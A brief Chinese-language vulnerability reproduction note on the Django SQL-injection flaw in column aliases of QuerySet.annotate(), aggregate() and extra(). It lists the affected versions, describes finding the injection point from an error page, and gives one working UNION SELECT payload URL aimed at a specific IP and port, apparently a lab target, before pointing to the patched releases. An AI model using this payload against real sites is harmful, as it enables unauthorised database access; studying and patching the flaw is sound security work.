一、漏洞介绍
Django是Django软件基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。
在 2.2.28 之前的 Django 2.2、3.2.13 之前的 3.2 和 4.0.4 之前的 4.0 中发现了一个问题。QuerySet.annotate()、aggregate() 和 extra() 方法会通过精心制作的字典(带有字典扩展)作为传递的 **kwargs 在列别名中进行 SQL 注入。
二、漏洞影响版本
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
三、漏洞复现
第一步进入网站
通过报错页面查看报错信息得到传参接口也就是注入点
使用报错提示参数进行SQL注入
http://123.58.224.8:58847/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --+
四、漏洞修复方式
官方已发布安全版本,下载地址:
https://www.djangoproject.com/download/